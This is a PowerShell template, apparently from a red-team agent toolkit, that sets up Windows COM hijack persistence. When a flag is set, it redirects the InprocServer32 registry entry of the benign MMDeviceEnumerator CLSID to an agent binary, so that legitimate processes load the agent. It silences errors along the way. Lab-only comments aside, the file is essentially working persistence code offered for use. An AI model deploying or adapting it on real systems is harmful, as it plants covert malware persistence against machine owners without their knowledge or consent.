# OPTIONAL — COM hijack persistence under benign CLSID (owned machines only).
# Default OFF. Enable only when {{COM_HIJACK}}=true in export or uncomment below.
# Uses InprocServer32 redirect to agent binary — high visibility to EDR; lab use only.
$ErrorActionPreference = 'SilentlyContinue'

if ('{{COM_HIJACK}}' -ne 'true') {
  Write-Host 'COM hijack template disabled (COM_HIJACK not true).'
  exit 0
}

# Benign CLSID: MMDeviceEnumerator (commonly present — replace with your lab-only choice)
$clsid = '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
$agentPath = '{{AGENT_PATH}}'
if (-not (Test-Path $agentPath)) {
  Write-Error "Agent path missing: $agentPath"
  exit 1
}

$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value $agentPath
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
Write-Host "COM hijack registered under $clsid -> $agentPath"